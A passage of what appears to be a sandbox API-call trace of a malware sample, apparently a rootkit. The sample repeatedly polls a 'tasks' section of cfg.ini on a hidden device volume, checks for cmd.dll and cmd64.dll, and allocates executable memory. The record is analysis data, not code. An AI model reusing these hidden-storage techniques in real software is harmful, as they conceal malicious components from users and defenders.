FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.052] ExFreePoolWithTag (P=0xfffffa8003c02120, Tag=0x0) [0129.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.052] KeLeaveCriticalRegion () [0129.052] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.052] ReleaseMutex (hMutex=0xf0) returned 1 [0129.052] Sleep (dwMilliseconds=0x927c0) [0129.067] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.067] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.067] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.067] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.067] KeEnterCriticalRegion () [0129.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.067] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.067] IdePortDispatch () returned 0x103 [0129.067] KeWaitForMutexObject () returned 0x0 [0129.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.068] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.068] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.068] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.068] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.068] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03010 [0129.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.068] KeLeaveCriticalRegion () [0129.068] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.068] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.068] KeEnterCriticalRegion () [0129.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.068] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.068] KeLeaveCriticalRegion () [0129.068] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.068] KeEnterCriticalRegion () [0129.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.068] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.068] IdePortDispatch () returned 0x103 [0129.068] KeWaitForMutexObject () returned 0x0 [0129.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.068] KeLeaveCriticalRegion () [0129.068] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.069] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.069] KeEnterCriticalRegion () [0129.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.069] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b90000 [0129.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.069] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.069] IdePortDispatch () returned 0x103 [0129.069] KeWaitForMutexObject () returned 0x0 [0129.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.069] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.069] IdePortDispatch () returned 0x103 [0129.069] KeWaitForMutexObject () returned 0x0 [0129.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.069] KeLeaveCriticalRegion () [0129.069] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.070] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.070] KeEnterCriticalRegion () [0129.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.070] KeLeaveCriticalRegion () [0129.070] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.070] KeEnterCriticalRegion () [0129.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.070] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.070] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02ce0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.070] KeLeaveCriticalRegion () [0129.070] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.070] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.070] KeEnterCriticalRegion () [0129.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.070] ExFreePoolWithTag (P=0xfffffa8003c03010, Tag=0x0) [0129.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.070] KeLeaveCriticalRegion () [0129.070] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.070] ReleaseMutex (hMutex=0xf0) returned 1 [0129.070] Sleep (dwMilliseconds=0x927c0) [0129.086] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.086] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.086] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.086] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.086] KeEnterCriticalRegion () [0129.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.086] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.086] IdePortDispatch () returned 0x103 [0129.086] KeWaitForMutexObject () returned 0x0 [0129.086] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.086] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.086] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.086] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.086] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.086] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02310 [0129.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.087] KeLeaveCriticalRegion () [0129.087] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.087] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.087] KeEnterCriticalRegion () [0129.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.087] KeLeaveCriticalRegion () [0129.087] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.087] KeEnterCriticalRegion () [0129.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.087] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.087] IdePortDispatch () returned 0x103 [0129.087] KeWaitForMutexObject () returned 0x0 [0129.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.087] KeLeaveCriticalRegion () [0129.087] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.087] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.087] KeEnterCriticalRegion () [0129.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.087] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b95000 [0129.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.087] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.087] IdePortDispatch () returned 0x103 [0129.088] KeWaitForMutexObject () returned 0x0 [0129.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.088] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.088] IdePortDispatch () returned 0x103 [0129.088] KeWaitForMutexObject () returned 0x0 [0129.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.088] KeLeaveCriticalRegion () [0129.088] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.089] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.089] KeEnterCriticalRegion () [0129.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.089] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.089] KeLeaveCriticalRegion () [0129.089] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.089] KeEnterCriticalRegion () [0129.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.089] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.089] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.089] KeLeaveCriticalRegion () [0129.089] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.089] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.089] KeEnterCriticalRegion () [0129.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.089] ExFreePoolWithTag (P=0xfffffa8003c02310, Tag=0x0) [0129.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.089] KeLeaveCriticalRegion () [0129.089] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.089] ReleaseMutex (hMutex=0xf0) returned 1 [0129.089] Sleep (dwMilliseconds=0x927c0) [0129.105] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.105] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.105] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.105] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.105] KeEnterCriticalRegion () [0129.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.105] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.105] IdePortDispatch () returned 0x103 [0129.105] KeWaitForMutexObject () returned 0x0 [0129.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.105] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.105] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.105] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.105] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.105] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03010 [0129.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.105] KeLeaveCriticalRegion () [0129.105] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.105] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.105] KeEnterCriticalRegion () [0129.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.105] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.105] KeLeaveCriticalRegion () [0129.106] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.106] KeEnterCriticalRegion () [0129.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.106] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.106] IdePortDispatch () returned 0x103 [0129.106] KeWaitForMutexObject () returned 0x0 [0129.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.106] KeLeaveCriticalRegion () [0129.106] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.106] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.106] KeEnterCriticalRegion () [0129.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b9a000 [0129.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.106] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.106] IdePortDispatch () returned 0x103 [0129.106] KeWaitForMutexObject () returned 0x0 [0129.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.107] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.107] IdePortDispatch () returned 0x103 [0129.107] KeWaitForMutexObject () returned 0x0 [0129.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.107] KeLeaveCriticalRegion () [0129.107] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.107] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.107] KeEnterCriticalRegion () [0129.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.107] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.107] KeLeaveCriticalRegion () [0129.107] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.107] KeEnterCriticalRegion () [0129.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.108] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.108] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02ce0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.108] KeLeaveCriticalRegion () [0129.108] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.108] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.108] KeEnterCriticalRegion () [0129.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.108] ExFreePoolWithTag (P=0xfffffa8003c03010, Tag=0x0) [0129.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.108] KeLeaveCriticalRegion () [0129.108] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.108] ReleaseMutex (hMutex=0xf0) returned 1 [0129.108] Sleep (dwMilliseconds=0x927c0) [0129.123] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.123] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.124] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.124] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.124] KeEnterCriticalRegion () [0129.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.124] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.124] IdePortDispatch () returned 0x103 [0129.124] KeWaitForMutexObject () returned 0x0 [0129.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.124] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.124] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.124] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.124] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, 